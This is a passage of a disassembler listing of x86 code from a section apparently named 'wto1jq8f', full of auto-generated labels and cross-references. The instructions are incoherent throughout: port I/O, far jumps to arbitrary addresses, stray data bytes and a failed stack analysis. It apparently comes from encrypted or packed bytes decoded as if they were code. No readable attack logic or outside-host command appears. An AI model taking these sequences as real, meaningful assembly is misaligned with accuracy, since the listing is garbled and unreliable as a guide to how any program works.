; CODE XREF: sub_429BFF-2FB1j ; sub_42EDB9+59Dj in eax, 0CAh ; DMA controller, 8237A-5. ; single mask bit register ; 0-1: select channel (00=0; 01=1; 10=2; 11=3) ; 2: 1=set mask for channel; 0=clear mask (enable) outsb mov [esi], dh mov dword ptr [ebx-23h], 884C73DDh sbb [esi], ebx loc_42F2F5: ; CODE XREF: sub_426535+20j cmp esi, [edi+6355D44h] int 93h ; used by BASIC while in interpreter xchg eax, esi xchg eax, edx loc_42F2FF: ; CODE XREF: sub_429D4E:loc_42E696j and ds:2DCED698h, bh loc_42F305: ; CODE XREF: wto1jq8f:0042683Dj pop esi jmp far ptr 0BB07h:0AF93B5A0h ; END OF FUNCTION CHUNK FOR sub_429BFF ; --------------------------------------------------------------------------- pop esp ; START OF FUNCTION CHUNK FOR sub_426535 loc_42F30E: ; CODE XREF: sub_426535+3AAAj and edx, [eax] call near ptr 972CA22h push 0FFFFFFA3h loc_42F317: ; CODE XREF: sub_42708B:loc_42EBA3j lock jno short loc_42F2CA test eax, 0C0A4904Fh and al, 0B3h add al, 0Eh pop ebp leave loc_42F325: ; CODE XREF: sub_426535+E5Cj ja short loc_42F2C2 loc_42F327: ; CODE XREF: sub_42CA3D+1j loope loc_42F32B setalc stosb loc_42F32B: ; CODE XREF: sub_426535:loc_42F327j push ds enter 4788h, 0F9h sub dh, [esi-23h] mov ds:28BBF7EDh, eax loc_42F338: ; CODE XREF: wto1jq8f:loc_42E185j ; DATA XREF: wto1jq8f:004266D5o ... mov ecx, 5339974Ah db 36h sar ah, 1 mov ecx, esi sub al, 95h jp short loc_42F390 stc loc_42F347: ; CODE XREF: sub_426535+8E62j and [ebx], ah retn ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- dw 0E07Bh dd 9316B722h, 0A4D9A45Bh ; --------------------------------------------------------------------------- push edx ; START OF FUNCTION CHUNK FOR sub_42EDB9 loc_42F355: ; CODE XREF: sub_42EDB9:loc_425E50j cli jnb short near ptr loc_42F2E7+1 in al, 0F4h ; END OF FUNCTION CHUNK FOR sub_42EDB9 ; START OF FUNCTION CHUNK FOR sub_4270C0 loc_42F35A: ; CODE XREF: sub_4270C0:loc_4270CBj push esi loc_42F35B: ; CODE XREF: sub_429459+C06j add [ecx+42h], ch loc_42F35E: ; DATA XREF: wto1jq8f:0042C4B4o enter 12EDh, 39h xor eax, eax outsb loc_42F365: ; CODE XREF: sub_429471+2AD3j mul byte ptr [edx] aas jb short near ptr loc_42F3CF+1 loc_42F36A: ; CODE XREF: wto1jq8f:00426257j aaa cmp eax, [edi] pop esi retf ; END OF FUNCTION CHUNK FOR sub_4270C0 ; --------------------------------------------------------------------------- loc_42F36F: ; CODE XREF: sub_424309+191p db 2Eh jbe short near ptr loc_42F397+1 clc mov ch, 28h ; --------------------------------------------------------------------------- db 0C5h, 0EDh, 15h dd 0C41C03AEh db 0D3h, 74h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426719 loc_42F37E: ; CODE XREF: sub_426719+11j add esp, esp sti ; END OF FUNCTION CHUNK FOR sub_426719 ; --------------------------------------------------------------------------- db 3Eh, 0F2h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B520 loc_42F383: ; CODE XREF: sub_42B520-6C78j pop esi ; END OF FUNCTION CHUNK FOR sub_42B520 ; --------------------------------------------------------------------------- dword_42F384 dd 8F6F8262h db 7Bh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42F389: ; CODE XREF: sub_426535:loc_42F3BAj xlat inc edx insb stosd leave out dx, eax ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- db 75h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42F390: ; CODE XREF: sub_426535+8E0Fj ; wto1jq8f:0042A638j ... xor byte ptr [edi+677EF12h], 0B2h loc_42F397: ; CODE XREF: wto1jq8f:loc_42F36Fj ja short loc_42F347 xchg eax, esi pop edx adc [edx-7C876B02h], bl loc_42F3A1: ; CODE XREF: wto1jq8f:0042C924j cmp esi, [eax-53h] fxch4 st loc_42F3A6: ; CODE XREF: sub_426535+8E73j dec ebx pop esi jo short loc_42F3A6 xchg eax, esp cmp bl, [eax-3851E850h] fisubr word ptr [edx] sub dword ptr [esi+7C54E1BAh], 63h loc_42F3BA: ; CODE XREF: sub_42C031+Dj repne jo short loc_42F389 mov ah, 4Fh loc_42F3BF: ; CODE XREF: sub_428C71+2A49j rol byte ptr [ebx-25h], cl loc_42F3C2: ; CODE XREF: sub_42481C+4CC7j mov ebp, 9A7B92E9h sahf cmc xchg eax, ebx db 65h and al, 56h add al, 27h loc_42F3CF: ; CODE XREF: sub_4270C0+82A8j cmp edx, [edi-3Bh] fimul dword ptr [edi-487AADCDh] xchg dl, [ecx+edx] loc_42F3DB: ; CODE XREF: wto1jq8f:00427AEBj fistp word ptr [ebp-6Bh] fidivr word ptr [edi+70h] loc_42F3E1: ; CODE XREF: wto1jq8f:loc_42AB67j loopne loc_42F433 in eax, dx loc_42F3E4: ; CODE XREF: wto1jq8f:loc_42A420j mov ecx, 0A50D7B65h xor [edx-6D5FBF72h], cl mov [esp+ecx*4+47F0h+arg_5C5BBE77], ebx xor cl, [ebx] test al, 3Eh movsb pop ss call near ptr 0DA0141C0h loc_42F401: ; CODE XREF: wto1jq8f:loc_42E760j test [eax+0E2DB300h], ebx scasb push eax xor ecx, 9 and al, 0D4h dec esi db 36h mov ch, 28h push ss loopne near ptr loc_42F45A+6 cld stosb mov edx, [esi] locret_42F419: ; DATA XREF: sub_42AFCD:loc_42BC81o retf 59C7h ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- dd 2D87E517h, 3C92D719h, 74B74A05h, 48F2F12Ah ; --------------------------------------------------------------------------- dec eax ; START OF FUNCTION CHUNK FOR sub_42903A loc_42F42D: ; CODE XREF: sub_42903A:loc_42A858j inc ecx xor bh, dh int 3 ; Trap to Debugger dec edx ; END OF FUNCTION CHUNK FOR sub_42903A ; --------------------------------------------------------------------------- db 0FFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42F433: ; CODE XREF: sub_426535:loc_42F3E1j db 3Eh ; Interrupt Controller #2, 8259A out 0B4h, al cmp eax, 0D3C147Eh add dl, 12h scasd and edi, [edx-63h] jmp near ptr 6C52CE90h ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- db 71h dd 3A654C20h db 0E5h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42ED32 loc_42F44D: ; CODE XREF: wto1jq8f:0042D8E0j ; sub_42ED32:loc_42ED37j fistp word ptr [eax+ebp*8-40h] and eax, 0B9AEC5BCh loc_42F456: ; CODE XREF: sub_42DC5C-15C9j adc eax, [ebp+ebx*2-3Bh] loc_42F45A: ; CODE XREF: sub_426535+8EDEj xor [esp+esi*4+arg_415E085E], cx sar byte ptr [edx-7Eh], 1 jmp near ptr 0C2D33EC6h ; END OF FUNCTION CHUNK FOR sub_42ED32 ; --------------------------------------------------------------------------- mov bl, 0D1h mov ss, word ptr [ebx-3Ah] loc_42F46F: ; CODE XREF: wto1jq8f:00426480j lds edx, [ebx-4Dh] int 3 ; Trap to Debugger db 36h stos byte ptr es:[edi] int 3 ; Trap to Debugger xor bh, cl dec eax aad 1Eh jz short near ptr loc_42F4E6+1 pop esi ; --------------------------------------------------------------------------- dw 3D18h db 91h byte_42F481 db 1Ch ; CODE XREF: wto1jq8f:loc_42F4AFj ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D9B0 loc_42F482: ; CODE XREF: sub_42D9B0+1B28j aad 0DCh jno short loc_42F4C3 nop popa push es or eax, 0F0F4C271h or eax, 0A60AC2D3h xchg eax, edi sal dword ptr cs:[ecx], cl push edi wait mov ah, [ebx+48h] aaa push esi dec esi xchg eax, edx add eax, 5E58E811h in al, dx test byte ptr [ecx], 0D4h ; CODE XREF: sub_42D9B0:loc_42F4AAj xchg eax, ebx loc_42F4AA: ; CODE XREF: wto1jq8f:0042862Bj jle short near ptr loc_42F4A6+1 ; END OF FUNCTION CHUNK FOR sub_42D9B0 ; --------------------------------------------------------------------------- db 0DBh, 64h, 0B5h ; --------------------------------------------------------------------------- loc_42F4AF: ; CODE XREF: wto1jq8f:00426B41j ; sub_42D9D9:loc_42ACA1p ... jle short near ptr byte_42F481 push esp test al, 0BCh push esi adc eax, 1486AD38h scasd or [eax], ch db 36h into jl short near ptr loc_42F511+2 ; --------------------------------------------------------------------------- db 0F2h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D9B0 loc_42F4C2: ; CODE XREF: sub_42D9B0-7C97j pusha loc_42F4C3: ; CODE XREF: sub_42D9B0+1AD4j loop near ptr loc_42F511+3 wait mov [edx+1D49679Fh], edi pop edi sbb al, 52h sbb [eax], ebx and byte ptr [eax], 6Dh jnz short loc_42F54E jecxz short near ptr loc_42F518+5 jmp short loc_42F482 ; END OF FUNCTION CHUNK FOR sub_42D9B0 ; --------------------------------------------------------------------------- dw 3B35h db 3Fh, 25h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4250D4 loc_42F4DE: ; CODE XREF: sub_4250D4+16j ; sub_42D53B+4j inc edx loc_42F4DF: ; CODE XREF: sub_42DBA6-5376j mov al, ds:4AB5E692h cmp al, 8Bh loc_42F4E6: ; CODE XREF: wto1jq8f:0042F47Bj mov word ptr [ebp-14h], ss cmp gs:9A3FC071h, edi xchg ecx, [edx+3Bh] ; END OF FUNCTION CHUNK FOR sub_4250D4 ; --------------------------------------------------------------------------- db 9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426C0C loc_42F4F4: ; CODE XREF: sub_426535-1BF7j ; sub_426C0C+8j ... push cs arpl [ebp-6], ax ja short loc_42F573 xor eax, 3992B017h xchg eax, ebp imul byte ptr [ecx+38h] nop in al, dx loc_42F505: ; CODE XREF: wto1jq8f:0042CEA8j adc dword ptr [edi+4F2AB34h], 0E1793934h ; END OF FUNCTION CHUNK FOR sub_426C0C loc_42F50F: ; CODE XREF: sub_427A9E+14p ; wto1jq8f:0042C781j ja short loc_42F521 loc_42F511: ; CODE XREF: wto1jq8f:0042F4BFj ; sub_42D9B0:loc_42F4C3j test eax, 491FE747h push esp cmc loc_42F518: ; CODE XREF: sub_42D9B0+1B26j jmp far ptr 5630h:0DDD8FDBEh ; --------------------------------------------------------------------------- jmp short loc_42F560 ; --------------------------------------------------------------------------- loc_42F521: ; CODE XREF: wto1jq8f:loc_42F50Fj xchg eax, ebx and ebp, [ebp+2C4A9763h] aam 63h add bl, [ebp+45649928h] inc ebx enter 0FFFFC431h, 67h nop ; START OF FUNCTION CHUNK FOR sub_42CB49 loc_42F536: ; CODE XREF: sub_42CB49+51Aj jnz short loc_42F58B sar ah, 32h and ecx, 37B4D38Fh loc_42F541: ; CODE XREF: sub_42B353:loc_428148j add bh, [ebp+50866BC5h] jns short near ptr loc_42F583+5 adc eax, 8EA0AB52h ; END OF FUNCTION CHUNK FOR sub_42CB49 ; START OF FUNCTION CHUNK FOR sub_42D9B0 loc_42F54E: ; CODE XREF: sub_42D9B0+1B24j dec edi add al, 0B0h lodsd loc_42F552: ; CODE XREF: sub_426535:loc_429570j sub bl, ah sub al, 0B2h mov [edi], dl loc_42F558: ; CODE XREF: sub_426535+3C52j sbb bh, [ebp+0DFC4B73h] locret_42F55E: ; CODE XREF: wto1jq8f:00425B79j iret ; END OF FUNCTION CHUNK FOR sub_42D9B0 ; --------------------------------------------------------------------------- db 36h ; --------------------------------------------------------------------------- loc_42F560: ; CODE XREF: wto1jq8f:0042F51Fj push ebx ; --------------------------------------------------------------------------- db 0CAh, 84h ; =============== S U B R O U T I N E ======================================= sub_42F563 proc near ; CODE XREF: wto1jq8f:0042C4BFp ; wto1jq8f:0042CE9Dp fcom qword ptr [edx+ecx*4-17h] cwde mov gs, [ecx] mov es, cx lodsb aad 0CAh lodsb xchg eax, edx aam 0B5h sub_42F563 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_426C0C loc_42F573: ; CODE XREF: sub_426C0C+88ECj inc ebp or eax, edi mov bl, 11h push cs push edx mov byte ptr [edi+4Dh], 18h adc eax, 0F9D5BAB0h loc_42F583: ; CODE XREF: sub_42CB49+29FEj jmp far ptr 39ADh:0A2A27E1Bh ; END OF FUNCTION CHUNK FOR sub_426C0C ; --------------------------------------------------------------------------- db 0C0h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CB49 loc_42F58B: ; CODE XREF: sub_42CB49:loc_42F536j out 0E9h, eax jecxz short loc_42F5A4 loc_42F58F: ; CODE XREF: wto1jq8f:0042CBCCj sal byte ptr [ebx+7373DD1Fh], 0E1h aas cmp dword ptr [edx+eax*4-6657825Eh], 0B1DA9B52h ; END OF FUNCTION CHUNK FOR sub_42CB49 ; --------------------------------------------------------------------------- dw 0F862h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CB49 loc_42F5A4: ; CODE XREF: sub_42CB49+2A44j and al, 3Dh popa loc_42F5A7: ; CODE XREF: wto1jq8f:00424EF4j ; sub_42606D-617j ... sbb al, 90h fild dword ptr [ecx] dec edx inc al inc eax pop esi xor [edx], bl loc_42F5B2: ; CODE XREF: wto1jq8f:0042774Dj adc ebx, [ebx-24B06EA4h] ; END OF FUNCTION CHUNK FOR sub_42CB49 ; START OF FUNCTION CHUNK FOR sub_42CBD1 loc_42F5B8: ; CODE XREF: sub_42CBD1-60CCj test al, 46h dec ecx in al, dx sbb dword ptr [ebx], 1Bh cmpsb mov ds:8DCA6602h, al in eax, 9Fh cmp byte ptr [edx-58h], 26h dec edx retf 7E40h ; END OF FUNCTION CHUNK FOR sub_42CBD1 ; --------------------------------------------------------------------------- db 0Bh db 29h, 36h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_42F5D2: ; CODE XREF: sub_42DC5C-4733j popf iret ; END OF FUNCTION CHUNK FOR sub_42DC5C ; --------------------------------------------------------------------------- db 4, 55h, 3Dh ; --------------------------------------------------------------------------- loc_42F5D7: ; CODE XREF: wto1jq8f:0042E24Bj dec ecx adc al, 8Ah dec edi and [ecx], edx ; START OF FUNCTION CHUNK FOR sub_4244EA loc_42F5DD: ; CODE XREF: sub_4244EA:loc_42F65Bj mov ecx, 8B09DEFBh jge short near ptr loc_42F62A+4 adc eax, 32A5946Fh pop ds dec esp sub byte ptr [ecx], 8Eh sti adc ebx, [ebp+4B98209h] inc ebp shl byte ptr [esi], cl mov bl, 0C0h loc_42F5FA: ; CODE XREF: wto1jq8f:004266E0j push ds loc_42F5FB: ; CODE XREF: sub_428AE5:loc_424929j and al, [ebp-399F7A40h] jns short near ptr loc_42F66D+3 cmp al, 3Ah loc_42F605: ; CODE XREF: sub_4244EA+B139j faddp st(4), st dec esi stosb sbb cl, [esi] pop edi aas xor [esi], ebx and [ebx-5Dh], dl loc_42F612: ; CODE XREF: wto1jq8f:loc_424733p db 65h adc bx, di setalc int 99h ; used by BASIC while in interpreter stosd pop es and ds:64258480h, bl mov al, 30h jns short loc_42F605 push 0FFFFFFE0h loc_42F627: ; CODE XREF: sub_429471:loc_429612j db 36h mov ah, 2Ch loc_42F62A: ; CODE XREF: wto1jq8f:0042B1D3p ; sub_4244EA+B0F8j or ecx, [edi-180C14A9h] loc_42F630: ; CODE XREF: wto1jq8f:loc_42DA0Bj cli in eax, 22h dec eax ; END OF FUNCTION CHUNK FOR sub_4244EA ; --------------------------------------------------------------------------- dd 82038B28h ; --------------------------------------------------------------------------- popf loc_42F639: ; CODE XREF: wto1jq8f:loc_424817j ; sub_42DC5C-4D3Aj cmp dword ptr [ebx], 342EDB46h loc_42F63F: ; CODE XREF: wto1jq8f:00427B90j db 2Eh jl short loc_42F654 scasd sub [esp+ebp-181D0B02h], esp db 65h, 65h test al, 0CAh inc ecx loc_42F64F: ; CODE XREF: sub_42669E+70E0j push 7CC6E77Ch loc_42F654: ; CODE XREF: wto1jq8f:loc_42F63Fj out dx, eax cmp bh, [esi-4F35BC41h] ; START OF FUNCTION CHUNK FOR sub_4244EA loc_42F65B: ; CODE XREF: sub_4244EA:loc_42C4CAj jl short loc_42F5DD aad 0EEh pop ecx mov eax, 0C0F31225h loc_42F665: ; CODE XREF: wto1jq8f:0042641Dj imul edx, edi, 3F2C6D74h loc_42F66B: ; CODE XREF: sub_42A88D:loc_428F4Cj and edi, edx loc_42F66D: ; CODE XREF: sub_4244EA+B117j or eax, 129C4B83h dec edi mov ecx, 0D47EE48Dh mov dl, 31h pushf mov ebp, 0E07432D6h sbb edi, ebp mov dh, 2Ah dec esp mov ecx, 7FB04BDBh inc eax loc_42F68B: ; CODE XREF: wto1jq8f:0042AFE9j jmp small [esp+edi*2-8+var_3E04AB2] ; END OF FUNCTION CHUNK FOR sub_4244EA ; --------------------------------------------------------------------------- db 23h dd 0CDEDD0BAh, 608EAA4h, 6FB863BAh, 7E31C1D2h, 33B3035Dh db 85h byte_42F6A9 db 54h, 0EEh, 70h ; DATA XREF: wto1jq8f:loc_42BE5Ao dd 5954F685h, 45FA5E29h, 4C2B5B3Ch, 343FE142h, 685DE7D0h dd 0F55C103Ch, 6514EF9Dh, 0AF6F08E2h ; --------------------------------------------------------------------------- retf 5C02h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4269FD loc_42F6CF: ; CODE XREF: sub_4269FD+8D28j sub [edi-63h], ch add al, 0Ch in al, dx loopne loc_42F702 sbb eax, 33431865h into ; END OF FUNCTION CHUNK FOR sub_4269FD ; START OF FUNCTION CHUNK FOR sub_42B276 loc_42F6DD: ; CODE XREF: sub_42B276-152Dj inc edx in eax, 75h push 15E3BC22h ; END OF FUNCTION CHUNK FOR sub_42B276 ; --------------------------------------------------------------------------- db 8Fh, 0CDh, 52h dd 0A22EAE69h db 0D5h, 0A8h, 73h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42F6EF: ; CODE XREF: sub_426535:loc_42D5E4j pusha jbe short loc_42F760 sti jecxz short loc_42F702 xchg eax, ebx push edi sub edx, [edi+1Bh] loc_42F6FA: ; CODE XREF: sub_4244EA:loc_42D7AEj mov ah, 94h and ebp, [ebp-61EB23D8h] loc_42F702: ; CODE XREF: sub_4269FD+8CD8j ; sub_426535+91BEj mov ecx, 0B318250Eh setalc sti sar dword ptr [eax], cl retn ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- dd 5F7DC92Eh, 38329414h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4269FD loc_42F714: ; CODE XREF: sub_4269FD+7B95j ; sub_42A909-1AB6j sub eax, 54472E97h jg short loc_42F788 test byte ptr [eax-70h], 0C3h jle short loc_42F776 push edx db 3Eh add al, 0F9h loopne loc_42F6CF loc_42F727: ; CODE XREF: sub_4240DC:loc_425A7Ej mov ebx, 938CD3D2h mov cl, 9Bh jmp near ptr 776C7336h ; END OF FUNCTION CHUNK FOR sub_4269FD ; --------------------------------------------------------------------------- mov ebx, 0D606CAC4h sbb [edi+ebp*8], dh xchg eax, esp pop ebx ; START OF FUNCTION CHUNK FOR sub_429471 loc_42F73D: ; CODE XREF: sub_429471:loc_424CE3j db 66h out dx, al rcl dword ptr [eax-73BCF1C3h], cl loc_42F745: ; CODE XREF: sub_42669E+6Cp ; wto1jq8f:0042B890j sub eax, 6D3AB4E9h sbb eax, 4FFD01A4h ; END OF FUNCTION CHUNK FOR sub_429471 ; --------------------------------------------------------------------------- db 3Ah ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4269FD loc_42F750: ; CODE XREF: sub_42F7AD+Dj stosb jbe short locret_42F7C2 xchg eax, esp nop das pushf jns short loc_42F798 pushf pop ds xchg eax, ebp loc_42F75C: ; CODE XREF: sub_42C4E2:loc_42C958p test [ecx], ch lodsd pop es ; END OF FUNCTION CHUNK FOR sub_4269FD ; START OF FUNCTION CHUNK FOR sub_426535 loc_42F760: ; CODE XREF: wto1jq8f:0042B0CBj ; sub_426535+91BBj pop ebx in eax, dx sub cl, [esp+eax*4+30h+arg_4C6A45ED] xlat lea eax, [edi+eax*2+290AEEBDh] ; CODE XREF: sub_4269FD+8D97j xor [edi-32h], bl and edi, esi ; END OF FUNCTION CHUNK FOR sub_426535 loc_42F776: ; CODE XREF: wto1jq8f:0042C978p ; sub_4269FD+8D22j call esp ; --------------------------------------------------------------------------- db 0FEh, 0B6h ; --------------------------------------------------------------------------- loc_42F77A: ; CODE XREF: wto1jq8f:loc_42B5F0j or ebx, [eax+6A779795h] cmp eax, 2BB8D249h mov dl, 0B1h movsb ; START OF FUNCTION CHUNK FOR sub_4269FD loc_42F788: ; CODE XREF: sub_4269FD+8D1Cj ; sub_4269FD+8DA6j ... add [edi], dh sub [edi+10h], al outsd or eax, 66BC8AF9h jns short near ptr loc_42F76A+5 scasd popa loc_42F798: ; CODE XREF: sub_4269FD+8D5Aj ; sub_4269FD+8E02j ... xor [esi+167E84C2h], eax jz short loc_42F7F9 sub ah, [ecx-36h] jnz short loc_42F788 mov esi, 1D78DDF4h push esi in eax, 0A2h ; Interrupt Controller #2, 8259A ; END OF FUNCTION CHUNK FOR sub_4269FD ; =============== S U B R O U T I N E ======================================= sub_42F7AD proc far ; CODE XREF: wto1jq8f:0042D3AAp mov ebx, 0B6048EA4h dec esi jno short loc_42F832 mov esi, 38B29036h jno short loc_42F750 fistp qword ptr ds:28F9FFF1h locret_42F7C2: ; CODE XREF: sub_4269FD+8D54j retf 0EAB1h sub_42F7AD endp ; --------------------------------------------------------------------------- db 0FEh, 19h, 64h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429281 loc_42F7C8: ; CODE XREF: sub_429281+1B8Aj sbb al, 89h ; END OF FUNCTION CHUNK FOR sub_429281 ; --------------------------------------------------------------------------- dw 0F8E8h db 6Ch ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4269FD loc_42F7CD: ; CODE XREF: sub_4269FD+8E19j pop ss pusha int 0DDh ; used by BASIC while in interpreter pop ebx ; END OF FUNCTION CHUNK FOR sub_4269FD ; --------------------------------------------------------------------------- dw 378Fh dd 400644EAh db 31h, 40h, 90h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4267AE loc_42F7DB: ; CODE XREF: sub_4267AE:loc_42907Cj call far ptr 99FDh:3EECBE06h pop es mov bh, 67h repne adc di, sp int 3 ; Trap to Debugger mov dl, 8Dh mov ch, 61h js short near ptr loc_42F788+2 aad 0FAh locret_42F7F2: ; CODE XREF: wto1jq8f:0042C32Ej retn ; END OF FUNCTION CHUNK FOR sub_4267AE ; --------------------------------------------------------------------------- retn 4014h ; --------------------------------------------------------------------------- dw 0BC7Dh ; --------------------------------------------------------------------------- cmc ; START OF FUNCTION CHUNK FOR sub_4269FD loc_42F7F9: ; CODE XREF: sub_4269FD+8DA1j in al, dx xchg eax, esp wait and [esi+25h], eax ja short loc_42F798 retn 3435h ; END OF FUNCTION CHUNK FOR sub_4269FD ; --------------------------------------------------------------------------- jecxz short near ptr loc_42F804+1 ; CODE XREF: wto1jq8f:loc_42F804j inc ebx xchg eax, esi xlat ; START OF FUNCTION CHUNK FOR sub_4269FD loc_42F809: ; CODE XREF: sub_4269FD+8E43j mov bl, 0D5h clc aas push 3Eh xchg eax, ecx xchg edx, [eax+2Fh] sbb bh, [ebx] xchg eax, ebp jbe short loc_42F7CD cwde dec ebp ; END OF FUNCTION CHUNK FOR sub_4269FD ; --------------------------------------------------------------------------- db 86h ; --------------------------------------------------------------------------- loc_42F81B: ; CODE XREF: sub_4245B5+8ECDp cmpsb wait sbb eax, 2C92DC30h ; --------------------------------------------------------------------------- dw 948Fh dd 0E5A48B57h ; --------------------------------------------------------------------------- fcomp dword ptr [edx] loc_42F82A: ; CODE XREF: wto1jq8f:00425E96j call far ptr 3664h:14CF0E2Dh ; --------------------------------------------------------------------------- db 0A1h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4269FD loc_42F832: ; CODE XREF: sub_42F7AD+6j sbb dword ptr [edi+eax*2], 56h loc_42F836: ; CODE XREF: sub_42DB52-5E0Cj dec esi loc_42F837: ; CODE XREF: sub_42ED54:loc_42ED77j mov edi, 66223FB2h add dh, al bound ecx, [edx] jno short loc_42F809 rcr dword ptr [esi], 1 dec eax arpl [ecx+216A8C3h], di xor esi, [ecx-2054AB71h] ; END OF FUNCTION CHUNK FOR sub_4269FD ; START OF FUNCTION CHUNK FOR sub_42B02D loc_42F851: ; CODE XREF: sub_42B02D:loc_428D18j ; wto1jq8f:loc_42ACF4j int 0C4h ; used by BASIC while in interpreter in al, 0F4h in eax, dx ror byte ptr [eax-37A5624Eh], cl jz short loc_42F8AE in eax, dx lodsb cld xchg eax, ebx loc_42F862: ; CODE XREF: sub_428333:loc_42AA44p sbb eax, [ebp-17h] enter 7D99h, 69h in al, dx pop esi jbe short loc_42F8A3 pop esp inc esi pushf sub ecx, [ebp-713FF005h] loc_42F876: ; CODE XREF: sub_42DC5C:loc_42E2EBj xchg eax, ebx rcl byte ptr [edx-2B361D9Fh], 1 db 36h dec ecx db 26h aas loc_42F881: ; CODE XREF: sub_428F61:loc_4271D7j or al, 44h pop esi aaa leave setalc push ds pop ebp scasd xchg eax, edi mov eax, 446AEF95h ; END OF FUNCTION CHUNK FOR sub_42B02D ; --------------------------------------------------------------------------- db 0FEh, 0E1h ; --------------------------------------------------------------------------- loc_42F892: ; CODE XREF: wto1jq8f:00429B55j inc ecx push 0FFFFFFA1h pop ss assume ss:nothing retf 22Ah ; --------------------------------------------------------------------------- db 55h, 7Dh, 5 ; --------------------------------------------------------------------------- inc ebp ; START OF FUNCTION CHUNK FOR sub_42E337 loc_42F89D: ; CODE XREF: sub_42E337:loc_42AE54j out 0FAh, al ; AT 80287 data. ; 286 sends opcodes & operands and receives results. sti lock xchg eax, esp out dx, al loc_42F8A3: ; CODE XREF: sub_42B02D+483Ej in al, dx in eax, dx jg short near ptr loc_42F8F7+1 loc_42F8A7: ; DATA XREF: wto1jq8f:0042770Eo sar esi, 83h aad 43h xor [eax], bh loc_42F8AE: ; CODE XREF: sub_42B02D+482Fj ; sub_426C0C:loc_42EB35j ... mov byte ptr [edx-35A76D82h], 0BAh mov al, fs:98AA257Bh sub dl, ds:8E1353B9h mov ds:5FB2E08Ah, eax db 66h or cl, [edx] add al, 6Ch loc_42F8CB: ; CODE XREF: sub_42C0F6+9j mov bh, [eax-12h] lodsb cld sub al, 9Bh lodsb fdivr dword ptr [edx+15h] adc edx, [ecx] sbb eax, 5ED467h dec edi setalc jg short loc_42F916 jp short loc_42F928 pop ebp loc_42F8E4: ; CODE XREF: sub_42E337+15D4j ; sub_429165-477Dj or edi, [edi+42h] test [ebp-58h], ah icebp loc_42F8EB: ; CODE XREF: sub_4283CC+7BEj rcl ecx, cl in eax, 96h or cl, bl test al, 0F0h jnz short near ptr word_42F932 aam 6Ah loc_42F8F7: ; CODE XREF: sub_42E337+156Ej mov ch, 9Dh adc bh, [edx-6Eh] pop esp sal byte ptr [edx], cl loc_42F8FF: ; CODE XREF: sub_429281-1AC8j ; sub_429281:loc_429690j or esi, edi cmp ch, al fyl2x ror byte ptr ds:9A1CA170h, 1 jle short loc_42F8E4 in al, dx ficom word ptr [edi] add al, 60h pop esp popa aas ; END OF FUNCTION CHUNK FOR sub_42E337 ; --------------------------------------------------------------------------- db 0FFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E337 loc_42F916: ; CODE XREF: sub_42E337+15A8j jmp near ptr 0E20AA8A4h ; END OF FUNCTION CHUNK FOR sub_42E337 ; --------------------------------------------------------------------------- db 34h dd 0CD0CAC55h, 30A5008Bh ; --------------------------------------------------------------------------- loc_42F924: ; CODE XREF: wto1jq8f:0042A1E9j dec edx dec ecx ; --------------------------------------------------------------------------- dw 0C76Bh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E337 loc_42F928: ; CODE XREF: sub_42E337+15AAj mov ebx, 5D89A9A9h xor eax, 56DF7E5h ; END OF FUNCTION CHUNK FOR sub_42E337 ; --------------------------------------------------------------------------- word_42F932 dw 288Fh ; CODE XREF: sub_42E337+15BCj ; --------------------------------------------------------------------------- retn 9492h ; --------------------------------------------------------------------------- daa mov ch, 1Ah cmp ecx, ecx ; START OF FUNCTION CHUNK FOR sub_4244EA loc_42F93C: ; CODE XREF: sub_4244EA:loc_42DF97j sbb eax, 13409AEEh adc dword ptr [ecx+6Eh], 0FFFFFF98h cdq loc_42F946: ; CODE XREF: sub_42DB52-4BC6p lea ebx, [ecx+47h] retn ; END OF FUNCTION CHUNK FOR sub_4244EA ; --------------------------------------------------------------------------- dw 6D0Dh db 0Bh, 0C9h dw 0FA13h dd 4234533h, 75B82366h, 46DC1Ch, 3706E01Bh, 0A51FC2A8h dd 91688F61h, 0E8285CA6h, 0A7091212h db 0F3h, 0FAh, 0E6h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A3BC loc_42F973: ; CODE XREF: sub_42A3BC:loc_42484Aj aam 2Eh loc_42F975: ; CODE XREF: sub_429BFF-52ACj mov ecx, 38521812h retn ; END OF FUNCTION CHUNK FOR sub_42A3BC ; --------------------------------------------------------------------------- db 18h dd 2FD7EBF2h, 0C221FAC9h ; --------------------------------------------------------------------------- push ecx mov ah, 5Bh loc_42F987: ; CODE 